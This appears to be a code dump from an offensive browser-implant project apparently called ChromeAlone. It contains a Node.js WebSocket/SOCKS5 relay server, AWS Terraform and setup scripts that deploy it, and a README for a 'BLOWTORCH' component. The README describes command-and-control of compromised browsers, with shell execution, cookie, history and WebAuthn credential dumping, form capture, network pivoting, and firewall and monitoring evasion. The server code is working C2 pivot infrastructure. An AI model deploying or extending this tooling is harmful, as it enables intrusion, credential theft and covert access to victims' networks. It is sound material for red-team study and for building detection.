msgId,
|
||||
originalMsgId: data.originalMsgId,
|
||||
dataLength: Buffer.from(data.data, 'base64').length,
|
||||
dataPreview: Buffer.from(data.data, 'base64').slice(0, 100).toString('hex')
|
||||
});
|
||||
|
||||
const buffer = Buffer.from(data.data, 'base64');
|
||||
try {
|
||||
if (!connection.socket.destroyed) {
|
||||
connection.socket.write(buffer, (err) => {
|
||||
if (err) {
|
||||
logger.error({
|
||||
event: 'socket_write_error',
|
||||
connectionId: data.connectionId,
|
||||
msgId,
|
||||
error: err.message
|
||||
});
|
||||
this.cleanupConnection(data.connectionId);
|
||||
} else {
|
||||
logger.debug({
|
||||
event: 'data_sent_succesfully',
|
||||
connectionId: data.connectionId,
|
||||
msgId,
|
||||
dataLength: buffer.length })
|
||||
}
|
||||
});
|
||||
} else {
|
||||
logger.warn({
|
||||
event: 'socket_destroyed',
|
||||
connectionId: data.connectionId
|
||||
});
|
||||
this.cleanupConnection(data.connectionId);
|
||||
}
|
||||
} catch (err) {
|
||||
logger.error({
|
||||
event: 'socket_write_exception',
|
||||
connectionId: data.connectionId,
|
||||
error: err.message
|
||||
});
|
||||
this.cleanupConnection(data.connectionId);
|
||||
}
|
||||
} else if (connection && data.type === 'close') {
|
||||
logger.info({
|
||||
event: 'agent_close_request',
|
||||
connectionId: data.connectionId
|
||||
});
|
||||
this.cleanupConnection(data.connectionId);
|
||||
} else if (!connection && data.type === 'data') {
|
||||
logger.debug({
|
||||
event: 'late_data',
|
||||
connectionId: data.connectionId
|
||||
});
|
||||
} else {
|
||||
logger.warn({
|
||||
event: 'unhandled_message',
|
||||
type: data.type,
|
||||
connectionId: data.connectionId,
|
||||
hasConnection: !!connection
|
||||
});
|
||||
}
|
||||
} catch (err) {
|
||||
logger.error({
|
||||
event: 'message_processing_error',
|
||||
error: err.message,
|
||||
message: message.toString()
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
ws.on('close', () => {
|
||||
logger.info({
|
||||
event: 'agent_disconnected',
|
||||
agentId,
|
||||
ip: remoteAddress,
|
||||
port: agentInfo.port
|
||||
});
|
||||
|
||||
if (this.portMap.has(remoteAddress)) {
|
||||
this.portMap.get(remoteAddress).lastSeen = Date.now();
|
||||
}
|
||||
|
||||
// Close all connections for this agent
|
||||
for (const [connectionId, connection] of this.connections.entries()) {
|
||||
if (connection.agent === ws) {
|
||||
this.cleanupConnection(connectionId);
|
||||
}
|
||||
}
|
||||
|
||||
// Remove the agent but keep the IP to agent ID mapping
|
||||
this.agents.delete(agentId);
|
||||
|
||||
// Note: We intentionally don't remove the IP to agent ID mapping
|
||||
// so that if this IP reconnects, it will get the same agent ID
|
||||
});
|
||||
|
||||
const pingInterval = setInterval(() => {
|
||||
if (ws.readyState === WebSocket.OPEN) {
|
||||
ws.ping();
|
||||
} else {
|
||||
clearInterval(pingInterval);
|
||||
}
|
||||
}, 30000);
|
||||
|
||||
ws.on('pong', () => {
|
||||
ws.isAlive = true;
|
||||
if (this.agents.has(agentId)) {
|
||||
this.agents.get(agentId).lastSeen = Date.now();
|
||||
|
||||
if (this.portMap.has(remoteAddress)) {
|
||||
this.portMap.get(remoteAddress).lastSeen = Date.now();
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
httpsServer.listen(process.env.PORT, '0.0.0.0', () => {
|
||||
logger.info({
|
||||
event: 'websocket_server_started',
|
||||
port: process.env.PORT
|
||||
});
|
||||
});
|
||||
|
||||
setInterval(() => {
|
||||
this.checkStaleConnections();
|
||||
}, 60000);
|
||||
}
|
||||
|
||||
getPortForAgent(agentIp) {
|
||||
if (this.portMap.has(agentIp)) {
|
||||
return this.portMap.get(agentIp).port;
|
||||
}
|
||||
|
||||
const usedPorts = new Set(Array.from(this.portMap.values()).map(data => data.port));
|
||||
|
||||
for (let port = this.portRange.start; port <= this.portRange.end; port++) {
|
||||
if (!usedPorts.has(port)) {
|
||||
this.portMap.set(agentIp, {
|
||||
port,
|
||||
lastSeen: Date.now()
|
||||
});
|
||||
return port;
|
||||
}
|
||||
}
|
||||
|
||||
logger.error({
|
||||
event: 'port_allocation_failed',
|
||||
ip: agentIp,
|
||||
message: 'All ports in range are allocated'
|
||||
});
|
||||
|
||||
return this.portRange.start;
|
||||
}
|
||||
|
||||
ensureSocksServerForAgent(agentId, agentInfo) {
|
||||
const port = agentInfo.port;
|
||||
|
||||
if (this.socksServers.has(port)) {
|
||||
return;
|
||||
}
|
||||
|
||||
const socksServer = socks.createServer((info, accept, deny) => {
|
||||
const connectionId = crypto.randomUUID();
|
||||
|
||||
let targetAgent = null;
|
||||
for (const [id, agent] of this.agents.entries()) {
|
||||
if (agent.port === port) {
|
||||
targetAgent = agent.ws;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!targetAgent) {
|
||||
logger.error({
|
||||
event: 'no_agent_for_port',
|
||||
port,
|
||||
address: info.dstAddr,
|
||||
port: info.dstPort
|
||||
});
|
||||
return deny();
|
||||
}
|
||||
|
||||
const socket = accept(true);
|
||||
|
||||
this.connections.set(connectionId, {
|
||||
socket,
|
||||
agent: targetAgent,
|
||||
address: info.dstAddr,
|
||||
port: info.dstPort,
|
||||
createdAt: Date.now()
|
||||
});
|
||||
|
||||
logger.info({
|
||||
event: 'new_connection',
|
||||
connectionId,
|
||||
address: info.dstAddr,
|
||||
port: info.dstPort,
|
||||
agentPort: port
|
||||
});
|
||||
|
||||
targetAgent.send(JSON.stringify({
|
||||
type: 'connect',
|
||||
connectionId,
|
||||
targetHost: info.dstAddr,
|
||||
targetPort: info.dstPort
|
||||
}));
|
||||
|
||||
socket.on('data', (data) => {
|
||||
const clientMsgId = crypto.randomBytes(4).toString('hex');
|
||||
const buffer = Buffer.from(data);
|
||||
logger.debug({
|
||||
event: 'client_data',
|
||||
connectionId,
|
||||
msgId: clientMsgId,
|
||||
dataLength: data.length,
|
||||
data: data.length > 100 ? data.slice(0, 100).toString('hex') : data.toString('hex')
|
||||
});
|
||||
if (this.connections.has(connectionId)) {
|
||||
targetAgent.send(JSON.stringify({
|
||||
type: 'data',
|
||||
connectionId,
|
||||
msgId: clientMsgId,
|
||||
data: buffer.toString('base64')
|
||||
}));
|
||||
}
|
||||
});
|
||||
|
||||
socket.on('end', () => {
|
||||
targetAgent.send(JSON.stringify({
|
||||
type: 'close',
|
||||
connectionId
|
||||
}));
|
||||
});
|
||||
|
||||
socket.on('error', (err) => {
|
||||
logger.error({
|
||||
event: 'socket_error',
|
||||
connectionId,
|
||||
error: err.message
|
||||
});
|
||||
targetAgent.send(JSON.stringify({
|
||||
type: 'close',
|
||||
connectionId
|
||||
}));
|
||||
});
|
||||
});
|
||||
|
||||
socksServer.useAuth(socks.auth.UserPassword((user, password, cb) => {
|
||||
const isValid = user === process.env.PROXY_USER &&
|
||||
password === process.env.PROXY_PASS;
|
||||
logger.info({
|
||||
event: 'proxy_auth_attempt',
|
||||
username: user,
|
||||
port,
|
||||
validUser: user === process.env.PROXY_USER,
|
||||
validPass: password === process.env.PROXY_PASS,
|
||||
success: isValid
|
||||
});
|
||||
|
||||
cb(isValid);
|
||||
}));
|
||||
|
||||
socksServer.listen(port, '0.0.0.0', () => {
|
||||
logger.info({
|
||||
event: 'socks_server_started',
|
||||
port,
|
||||
agentId
|
||||
});
|
||||
this.socksServers.set(port, socksServer);
|
||||
});
|
||||
}
|
||||
|
||||
cleanupConnection(connectionId) {
|
||||
const connection = this.connections.get(connectionId);
|
||||
if (connection) {
|
||||
connection.socket.destroy();
|
||||
this.connections.delete(connectionId);
|
||||
|
||||
if (connection.agent.readyState === WebSocket.OPEN) {
|
||||
connection.agent.send(JSON.stringify({
|
||||
type: 'close',
|
||||
connectionId
|
||||
}));
|
||||
}
|
||||
|
||||
logger.info({
|
||||
event: 'connection_closed',
|
||||
connectionId
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
validateAuth(authHeader) {
|
||||
if (!authHeader || !authHeader.startsWith('Bearer ')) {
|
||||
return false;
|
||||
}
|
||||
|
||||
const token = authHeader.slice(7);
|
||||
return token === process.env.RELAY_TOKEN;
|
||||
}
|
||||
|
||||
checkStaleConnections() {
|
||||
const now = Date.now();
|
||||
for (const [connectionId, connection] of this.connections.entries()) {
|
||||
if (now - connection.createdAt > 12 * 60 * 60 * 1000) {
|
||||
logger.info({
|
||||
event: 'cleaning_stale_connection',
|
||||
connectionId,
|
||||
age: (now - connection.createdAt) / 1000
|
||||
});
|
||||
this.cleanupConnection(connectionId);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Broadcast event to all SSE clients
|
||||
broadcastSSE(eventType, data) {
|
||||
if (this.sseClients.size === 0) return;
|
||||
|
||||
const eventData = JSON.stringify({
|
||||
type: eventType,
|
||||
timestamp: new Date().toISOString(),
|
||||
...data
|
||||
});
|
||||
|
||||
// Remove disconnected clients
|
||||
const disconnectedClients = new Set();
|
||||
|
||||
for (const client of this.sseClients) {
|
||||
try {
|
||||
client.write(`data: ${eventData}\n\n`);
|
||||
} catch (err) {
|
||||
logger.error({
|
||||
event: 'sse_broadcast_error',
|
||||
error: err.message
|
||||
});
|
||||
disconnectedClients.add(client);
|
||||
}
|
||||
}
|
||||
|
||||
// Clean up disconnected clients
|
||||
for (const client of disconnectedClients) {
|
||||
this.sseClients.delete(client);
|
||||
}
|
||||
|
||||
logger.debug({
|
||||
event: 'sse_broadcast',
|
||||
eventType,
|
||||
clientCount: this.sseClients.size,
|
||||
data
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
process.on('uncaughtException', (err) => {
|
||||
logger.error({
|
||||
event: 'uncaught_exception',
|
||||
error: err.message,
|
||||
stack: err.stack
|
||||
});
|
||||
});
|
||||
|
||||
process.on('unhandledRejection', (reason, promise) => {
|
||||
logger.error({
|
||||
event: 'unhandled_rejection',
|
||||
error: reason
|
||||
});
|
||||
});
|
||||
|
||||
const relay = new RelayServer();
|
||||
@@ -0,0 +1,181 @@
|
||||
#!/bin/bash
|
||||
set -e # Exit on any error
|
||||
|
||||
# Log setup progress
|
||||
exec 1> >(logger -s -t $(basename $0)) 2>&1
|
||||
|
||||
echo "Starting relay server setup..."
|
||||
|
||||
# Check if we're running as root
|
||||
if [ "$EUID" -ne 0 ]; then
|
||||
echo "Error: Must run as root"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
yum update -y
|
||||
echo "System packages updated"
|
||||
yum install -y nodejs npm git libcap certbot
|
||||
echo "Node.js and dependencies installed"
|
||||
|
||||
# Configure certbot if domain is provided
|
||||
if [ -n "${domain_name}" ]; then
|
||||
echo "Configuring TLS certificate for ${domain_name}..."
|
||||
|
||||
# Stop any service that might be using port 80
|
||||
systemctl stop nginx 2>/dev/null || true
|
||||
|
||||
# Get certificate
|
||||
certbot certonly --standalone \
|
||||
--non-interactive \
|
||||
--agree-tos \
|
||||
--email admin@${domain_name} \
|
||||
--domains ${domain_name} \
|
||||
--preferred-challenges http
|
||||
|
||||
# Create certbot group if it doesn't exist
|
||||
groupadd -f certbot
|
||||
|
||||
# Add ec2-user to certbot group
|
||||
usermod -a -G certbot ec2-user
|
||||
|
||||
# Set group permissions on Let's Encrypt directory
|
||||
chgrp -R certbot /etc/letsencrypt
|
||||
chmod -R g+rX /etc/letsencrypt
|
||||
|
||||
# Set up auto-renewal
|
||||
echo "0 0,12 * * * root python -c 'import random; import time; time.sleep(random.random() * 3600)' && certbot renew -q" | sudo tee -a /etc/crontab > /dev/null
|
||||
|
||||
# Create symlinks for Node.js
|
||||
mkdir -p /opt/relay-server/certs
|
||||
ln -sf /etc/letsencrypt/live/${domain_name}/fullchain.pem /opt/relay-server/certs/cert.pem
|
||||
ln -sf /etc/letsencrypt/live/${domain_name}/privkey.pem /opt/relay-server/certs/key.pem
|
||||
|
||||
# Set permissions
|
||||
chown -R ec2-user:ec2-user /opt/relay-server/certs
|
||||
fi
|
||||
|
||||
# Create app directory
|
||||
echo "Creating application directory..."
|
||||
mkdir -p /opt/relay-server
|
||||
if [ ! -d "/opt/relay-server" ]; then
|
||||
echo "Error: Failed to create /opt/relay-server"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
cd /opt/relay-server
|
||||
echo "Current directory: $(pwd)"
|
||||
|
||||
# Create environment file
|
||||
echo "Creating environment file..."
|
||||
cat << EOF > .env
|
||||
RELAY_TOKEN=${relay_token}
|
||||
PROXY_USER=${proxy_user}
|
||||
PROXY_PASS=${proxy_pass}
|
||||
PORT=443
|
||||
NODE_ENV=production
|
||||
EOF
|
||||
|
||||
if [ ! -f ".env" ]; then
|
||||
echo "Error: Failed to create .env file"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Copy server.js from the same directory
|
||||
echo "Creating server.js..."
|
||||
cat << 'EOFJS' > server.js
|
||||
${server_js}
|
||||
EOFJS
|
||||
|
||||
if [ ! -f "server.js" ]; then
|
||||
echo "Error: Failed to create server.js"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Create package.json
|
||||
echo "Creating package.json..."
|
||||
cat << 'EOF' > package.json
|
||||
{
|
||||
"name": "relay-server",
|
||||
"version": "1.0.0",
|
||||
"description": "Secure SOCKS5 relay server",
|
||||
"main": "server.js",
|
||||
"scripts": {
|
||||
"start": "node server.js",
|
||||
"test": "echo \"Error: no test specified\" && exit 1"
|
||||
}
|
||||
}
|
||||
EOF
|
||||
|
||||
# Install dependencies
|
||||
echo "Installing npm dependencies..."
|
||||
npm install dotenv
|
||||
npm install express
|
||||
npm install socksv5
|
||||
npm install winston
|
||||
npm install ws
|
||||
npm install selfsigned
|
||||
|
||||
# Allow Node.js to bind to privileged ports
|
||||
echo "Setting capabilities for Node.js..."
|
||||
NODEJS_BINARY=$(readlink -f $(which node))
|
||||
echo "Node.js binary location: $NODEJS_BINARY"
|
||||
setcap 'cap_net_bind_service=+ep' "$NODEJS_BINARY"
|
||||
|
||||
# Verify the capability was set
|
||||
getcap "$NODEJS_BINARY"
|
||||
|
||||
# Set permissions
|
||||
echo "Setting permissions..."
|
||||
chown -R ec2-user:ec2-user /opt/relay-server
|
||||
chmod 600 /opt/relay-server/.env
|
||||
|
||||
# Setup log rotation
|
||||
echo "Configuring log rotation..."
|
||||
cat << EOF > /etc/logrotate.d/relay-server
|
||||
/opt/relay-server/*.log {
|
||||
daily
|
||||
rotate 7
|
||||
compress
|
||||
delaycompress
|
||||
missingok
|
||||
notifempty
|
||||
create 640 ec2-user ec2-user
|
||||
size 10M
|
||||
}
|
||||
EOF
|
||||
|
||||
# Create systemd service
|
||||
echo "Creating systemd service..."
|
||||
cat << EOF > /etc/systemd/system/relay-server.service
|
||||
[Unit]
|
||||
Description=Relay Server
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
User=ec2-user
|
||||
WorkingDirectory=/opt/relay-server
|
||||
Environment=PATH=/usr/bin:/usr/local/bin
|
||||
ExecStart=/usr/bin/npm start
|
||||
Restart=always
|
||||
StandardOutput=append:/opt/relay-server/relay-server.log
|
||||
StandardError=append:/opt/relay-server/relay-server-error.log
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
EOF
|
||||
|
||||
# Set permissions and enable service
|
||||
chmod 644 /etc/systemd/system/relay-server.service
|
||||
systemctl daemon-reload
|
||||
systemctl enable relay-server
|
||||
systemctl start relay-server
|
||||
|
||||
# Final checks
|
||||
if [ ! -f "/opt/relay-server/server.js" ] || [ ! -f "/opt/relay-server/.env" ]; then
|
||||
echo "Error: Critical files missing after setup"
|
||||
ls -la /opt/relay-server/
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "Setup complete"
|
||||
@@ -0,0 +1,136 @@
|
||||
terraform {
|
||||
required_providers {
|
||||
aws = {
|
||||
source = "hashicorp/aws"
|
||||
version = "~> 5.0"
|
||||
}
|
||||
}
|
||||
required_version = ">= 1.2.0"
|
||||
}
|
||||
|
||||
provider "aws" {
|
||||
region = var.aws_region
|
||||
}
|
||||
|
||||
# Security Group
|
||||
resource "aws_security_group" "relay_sg" {
|
||||
name = "relay-security-group"
|
||||
description = "Security group for relay server"
|
||||
|
||||
ingress {
|
||||
from_port = 22
|
||||
to_port = 22
|
||||
protocol = "tcp"
|
||||
cidr_blocks = [var.office_ip_range]
|
||||
description = "SSH access from office"
|
||||
}
|
||||
|
||||
ingress {
|
||||
from_port = 1080
|
||||
to_port = 1181
|
||||
protocol = "tcp"
|
||||
cidr_blocks = [var.office_ip_range]
|
||||
description = "SOCKS proxy access from office"
|
||||
}
|
||||
|
||||
ingress {
|
||||
from_port = 8080
|
||||
to_port = 8080
|
||||
protocol = "tcp"
|
||||
cidr_blocks = ["0.0.0.0/0"]
|
||||
description = "WebSocket access for agents"
|
||||
}
|
||||
|
||||
ingress {
|
||||
from_port = 443
|
||||
to_port = 443
|
||||
protocol = "tcp"
|
||||
cidr_blocks = ["0.0.0.0/0"]
|
||||
description = "HTTPS access for WebSocket over TLS"
|
||||
}
|
||||
|
||||
ingress {
|
||||
from_port = 80
|
||||
to_port = 80
|
||||
protocol = "tcp"
|
||||
cidr_blocks = ["0.0.0.0/0"]
|
||||
description = "HTTP for LetsEncrypt validation"
|
||||
}
|
||||
|
||||
egress {
|
||||
from_port = 0
|
||||
to_port = 0
|
||||
protocol = "-1"
|
||||
cidr_blocks = ["0.0.0.0/0"]
|
||||
description = "Allow all outbound traffic"
|
||||
}
|
||||
|
||||
tags = {
|
||||
Name = "relay-sg"
|
||||
}
|
||||
}
|
||||
|
||||
# EC2 Instance
|
||||
resource "aws_instance" "relay_server" {
|
||||
ami = var.ami_id
|
||||
instance_type = var.instance_type
|
||||
|
||||
vpc_security_group_ids = [aws_security_group.relay_sg.id]
|
||||
key_name = var.key_name
|
||||
associate_public_ip_address = true
|
||||
|
||||
root_block_device {
|
||||
volume_size = 20
|
||||
volume_type = "gp3"
|
||||
encrypted = true
|
||||
}
|
||||
|
||||
user_data_base64 = base64gzip(templatefile("${path.module}/files/setup.sh", {
|
||||
relay_token = var.relay_token
|
||||
proxy_user = var.proxy_user
|
||||
proxy_pass = var.proxy_pass
|
||||
server_js = file("${path.module}/files/server.js")
|
||||
domain_name = var.domain_name
|
||||
}))
|
||||
|
||||
user_data_replace_on_change = true
|
||||
|
||||
metadata_options {
|
||||
http_endpoint = "enabled"
|
||||
http_tokens = "required"
|
||||
http_put_response_hop_limit = 1
|
||||
}
|
||||
|
||||
tags = {
|
||||
Name = "relay-server"
|
||||
}
|
||||
}
|
||||
|
||||
# Elastic IP
|
||||
resource "aws_eip" "relay_ip" {
|
||||
tags = {
|
||||
Name = "relay-eip"
|
||||
}
|
||||
}
|
||||
|
||||
resource "aws_eip_association" "relay_eip_assoc" {
|
||||
instance_id = aws_instance.relay_server.id
|
||||
allocation_id = aws_eip.relay_ip.id
|
||||
}
|
||||
|
||||
# Get the hosted zone ID if domain is provided
|
||||
data "aws_route53_zone" "selected" {
|
||||
count = var.domain_name != "" ? 1 : 0
|
||||
name = regex(".[^.]+.[^.]+$", var.domain_name) # Get parent domain
|
||||
private_zone = false
|
||||
}
|
||||
|
||||
# Create DNS record if domain is provided
|
||||
resource "aws_route53_record" "relay" {
|
||||
count = var.domain_name != "" ? 1 : 0
|
||||
zone_id = data.aws_route53_zone.selected[0].zone_id
|
||||
name = var.domain_name
|
||||
type = "A"
|
||||
ttl = "300"
|
||||
records = [aws_eip.relay_ip.public_ip]
|
||||
}
|
||||
@@ -0,0 +1,20 @@
|
||||
output "relay_public_ip" {
|
||||
description = "Public IP of the relay server"
|
||||
value = aws_eip.relay_ip.public_ip
|
||||
}
|
||||
|
||||
output "relay_websocket_url" {
|
||||
description = "WebSocket URL for agent connections"
|
||||
value = var.domain_name != "" ? "wss://${var.domain_name}:443" : "ws://${aws_eip.relay_ip.public_ip}:8080"
|
||||
sensitive = true
|
||||
}
|
||||
|
||||
output "socks_proxy_address" {
|
||||
description = "SOCKS proxy address"
|
||||
value = "${aws_eip.relay_ip.public_ip}:1080"
|
||||
}
|
||||
|
||||
output "relay_instance_id" {
|
||||
description = "Instance ID of the relay server"
|
||||
value = aws_instance.relay_server.id
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
variable "aws_region" {
|
||||
description = "AWS region to deploy resources"
|
||||
type = string
|
||||
default = "us-west-2"
|
||||
}
|
||||
|
||||
variable "office_ip_range" {
|
||||
description = "CIDR block for office IP range"
|
||||
type = string
|
||||
validation {
|
||||
condition = can(cidrhost(var.office_ip_range, 0))
|
||||
error_message = "The office_ip_range must be a valid CIDR block"
|
||||
}
|
||||
}
|
||||
|
||||
variable "ami_id" {
|
||||
description = "AMI ID for relay server"
|
||||
type = string
|
||||
default = "ami-0e0bf53f6def86294" # Amazon Linux 2023 for us-east-2
|
||||
}
|
||||
|
||||
variable "instance_type" {
|
||||
description = "EC2 instance type"
|
||||
type = string
|
||||
default = "t3.micro"
|
||||
}
|
||||
|
||||
variable "key_name" {
|
||||
description = "Name of SSH key pair"
|
||||
type = string
|
||||
}
|
||||
|
||||
variable "relay_token" {
|
||||
description = "Authentication token for relay server"
|
||||
type = string
|
||||
sensitive = true
|
||||
}
|
||||
|
||||
variable "proxy_user" {
|
||||
description = "Username for SOCKS proxy"
|
||||
type = string
|
||||
sensitive = true
|
||||
}
|
||||
|
||||
variable "proxy_pass" {
|
||||
description = "Password for SOCKS proxy"
|
||||
type = string
|
||||
sensitive = true
|
||||
}
|
||||
|
||||
variable "domain_name" {
|
||||
description = "Domain name to use for the relay server (e.g., relay.example.com)"
|
||||
type = string
|
||||
default = "" # Optional, deployment will work without a domain
|
||||
}
|
||||
|
||||
@@ -0,0 +1,308 @@
|
||||
# BLOWTORCH - Isolated Web App Communication Hub
|
||||
|
||||
## Overview
|
||||
BLOWTORCH is ChromeAlone's central communication component that serves as the bridge between the cloud C2 infrastructure, the Isolated Web App (IWA), and the HOTWHEELS Chrome extension. It leverages Chrome's experimental Direct Sockets API to enable sophisticated networking capabilities and cross-component communication within the browser.
|
||||
|
||||
## What is BLOWTORCH?
|
||||
|
||||
BLOWTORCH implements a three-part architecture responsible for:
|
||||
1. **Cloud C2 Communications** - Establishes secure WebSocket connections to ChromeAlone's cloud C2 server for command and control
|
||||
2. **IWA-Extension Bridge** - Provides a WebSocket server to enable communication between the BLOWTORCH IWA and HOTWHEELS Chrome extension
|
||||
3. **SOCKS Proxy Server** - Acts as a SOCKS proxy for traffic relayed from the cloud server, enabling full network pivoting capabilities
|
||||
|
||||
## Technical Deep Dive
|
||||
|
||||
### Understanding Chrome's Direct Sockets API
|
||||
|
||||
#### Traditional Browser Network Limitations
|
||||
|
||||
Historically, web browsers enforce strict networking restrictions:
|
||||
|
||||
**Same-Origin Policy**:
|
||||
- JavaScript can only make requests to the same origin (protocol + domain + port)
|
||||
- Cross-origin requests require explicit server permission via CORS headers
|
||||
- No access to raw TCP/UDP sockets from web content
|
||||
|
||||
**Network Isolation**:
|
||||
- Web content cannot create listening servers
|
||||
- No access to local network interfaces or low-level networking
|
||||
- All communications must go through browser's networking stack
|
||||
|
||||
#### Direct Sockets API Revolution
|
||||
|
||||
Chrome's experimental Direct Sockets API breaks these traditional limitations:
|
||||
|
||||
**TCPServerSocket API**:
|
||||
```javascript
|
||||
const server = new TCPServerSocket('::'); // Listen on all interfaces
|
||||
const {readable, localAddress, localPort} = await server.opened;
|
||||
```
|
||||
|
||||
**TCPSocket API**:
|
||||
```javascript
|
||||
const socket = new TCPSocket(remoteAddress, remotePort);
|
||||
const {readable, writable} = await socket.opened;
|
||||
```
|
||||
|
||||
**Capabilities Enabled**:
|
||||
- Create TCP server sockets that listen for incoming connections
|
||||
- Establish outbound TCP connections to arbitrary hosts and ports
|
||||
- Handle raw binary data streams
|
||||
- Implement custom network protocols
|
||||
|
||||
#### Browser Context Advantages
|
||||
|
||||
Running networking code in the browser provides unique advantages:
|
||||
|
||||
**Firewall Bypass**:
|
||||
- Browser traffic is typically allowed through corporate firewalls
|
||||
- User-level firewall exceptions already exist for browser processes
|
||||
- Network monitoring may not inspect browser-internal communications
|
||||
|
||||
**Persistence and Stealth**:
|
||||
- Networking code runs within legitimate browser processes
|
||||
- No separate network services to detect or monitor
|
||||
- Can leverage browser's existing network authentication and proxies
|
||||
|
||||
### BLOWTORCH Architecture
|
||||
|
||||
#### Three-Part Communication System
|
||||
|
||||
BLOWTORCH operates as a central communication hub with three distinct responsibilities:
|
||||
|
||||
#### 1. Cloud C2 Communications (`src/socks-server.js`)
|
||||
|
||||
**Primary Responsibility**: Establishes and maintains secure WebSocket connections to ChromeAlone's cloud C2 server.
|
||||
|
||||
**Key Features**:
|
||||
- Authenticates with cloud C2 using relay tokens
|
||||
- Receives commands from operators via WebSocket protocol
|
||||
- Routes commands to appropriate execution context (IWA or Extension)
|
||||
- Implements automatic reconnection with exponential backoff
|
||||
- Handles command types: `ls`, `shell`, `cookies`, `history`, `webauthn`
|
||||
|
||||
**Command Flow**:
|
||||
```javascript
|
||||
// Received from Cloud C2
|
||||
{type: 'command', command: 'cookies', payload: {...}, taskId: 'task_123'}
|
||||
|
||||
// Routed to Extension via WebSocket Server
|
||||
{type: 'dump_cookies_request', data: {...}, taskId: 'task_123'}
|
||||
```
|
||||
|
||||
#### 2. IWA-Extension Bridge (`src/websocket-server.js` - FirecrackerWebSocketServer)
|
||||
|
||||
**Primary Responsibility**: Enables communication between the BLOWTORCH IWA and HOTWHEELS Chrome extension.
|
||||
|
||||
**Key Features**:
|
||||
- Runs WebSocket server on high port (default: 38899) using Direct Sockets API
|
||||
- Accepts connections from HOTWHEELS extension
|
||||
- Relays commands from C2 server to extension
|
||||
- Forwards extension responses back to C2 server
|
||||
- Supports message chunking for large data transfers
|
||||
- Handles WebSocket protocol handshake and frame processing
|
||||
|
||||
**Communication Bridge**:
|
||||
```javascript
|
||||
// IWA receives command from C2
|
||||
window.broadcastToFirecracker(JSON.stringify(commandObject));
|
||||
|
||||
// WebSocket server forwards to HOTWHEELS extension
|
||||
await server.sendWebSocketMessage(connectionInfo, message);
|
||||
```
|
||||
|
||||
#### 3. SOCKS Proxy Server (`src/socks-server.js`)
|
||||
|
||||
**Primary Responsibility**: Acts as a SOCKS5 proxy for network traffic relayed from the cloud server.
|
||||
|
||||
**Key Features**:
|
||||
- Implements full SOCKS5 protocol compliance
|
||||
- Handles IPv4, IPv6, and domain name address types
|
||||
- Establishes direct TCP connections using Direct Sockets API
|
||||
- Tunnels all SOCKS traffic through WebSocket connection to C2
|
||||
- Enables network pivoting through compromised browser
|
||||
- Supports connection multiplexing for concurrent sessions
|
||||
|
||||
#### Component Integration Flow
|
||||
|
||||
**Operational Flow**:
|
||||
|
||||
1. **Initialization** (`src/main.js`, `src/app.js`):
|
||||
- BLOWTORCH IWA starts and establishes WebSocket connection to cloud C2
|
||||
- FirecrackerWebSocketServer starts listening on port 38899
|
||||
- HOTWHEELS extension connects to FirecrackerWebSocketServer
|
||||
|
||||
2. **Command Execution**:
|
||||
- Cloud C2 sends command via WebSocket to BLOWTORCH
|
||||
- BLOWTORCH determines execution context (IWA vs Extension)
|
||||
- Commands requiring extension capabilities are forwarded via WebSocket server
|
||||
- Extension executes command and sends response back through the chain
|
||||
|
||||
3. **SOCKS Proxying**:
|
||||
- External tools connect to SOCKS proxy (when enabled)
|
||||
- SOCKS connections are tunneled through WebSocket to cloud C2
|
||||
- Cloud C2 establishes actual network connections and relays data
|
||||
- Bidirectional data flow enables full network pivoting
|
||||
|
||||
**Message Types Handled**:
|
||||
- `command` - C2 commands for execution
|
||||
- `form_data` - Captured form submissions
|
||||
- `ls_command_response` - Directory listing results
|
||||
- `shell_command_response` - Shell command output
|
||||
- `dump_cookies_response` - Browser cookie data
|
||||
- `dump_history_response` - Browser history data
|
||||
- `webauthn_response` - WebAuthn credential data
|
||||
|
||||
### Technical Implementation Details
|
||||
|
||||
#### WebSocket Communication Protocols
|
||||
|
||||
**C2 to IWA Protocol**:
|
||||
BLOWTORCH uses WebSocket subprotocol with token authentication:
|
||||
```javascript
|
||||
const ws = new WebSocket(url.toString(), [`token.${this.relayToken}`]);
|
||||
```
|
||||
|
||||
**IWA to Extension Protocol**:
|
||||
FirecrackerWebSocketServer implements standard WebSocket handshake:
|
||||
```javascript
|
||||
// WebSocket handshake with proper Sec-WebSocket-Accept
|
||||
const acceptKey = await this.generateAcceptKey(clientKey);
|
||||
const response = [
|
||||
'HTTP/1.1 101 Switching Protocols',
|
||||
'Upgrade: websocket',
|
||||
'Connection: Upgrade',
|
||||
`Sec-WebSocket-Accept: ${acceptKey}`
|
||||
].join('\r\n');
|
||||
```
|
||||
|
||||
#### Message Chunking Support
|
||||
|
||||
For large data transfers, BLOWTORCH implements chunking:
|
||||
```javascript
|
||||
// Chunk start message
|
||||
{type: 'chunk_start', chunkId: 'unique_id', totalSize: 1024000}
|
||||
|
||||
// Chunk data messages
|
||||
{type: 'chunk_data', chunkId: 'unique_id', chunkNum: 0, data: 'base64_data'}
|
||||
|
||||
// Chunk end message
|
||||
{type: 'chunk_end', chunkId: 'unique_id', totalChunks: 10}
|
||||
```
|
||||
|
||||
#### SOCKS Tunneling Protocol
|
||||
|
||||
**SOCKS Connection Multiplexing**:
|
||||
```javascript
|
||||
// Connection request to C2
|
||||
{type: 'connect', connectionId: 'conn_123', targetHost: 'example.com', targetPort: 443}
|
||||
|
||||
// Data forwarding
|
||||
{type: 'data', connectionId: 'conn_123', data: 'base64_encoded_payload'}
|
||||
|
||||
// Connection close
|
||||
{type: 'close', connectionId: 'conn_123'}
|
||||
```
|
||||
|
||||
### Direct Socket Security Implications
|
||||
|
||||
#### Bypassing Network Security Controls
|
||||
|
||||
**Firewall Evasion**:
|
||||
- SOCKS proxy runs on high ports (often > 1024) that may be less monitored
|
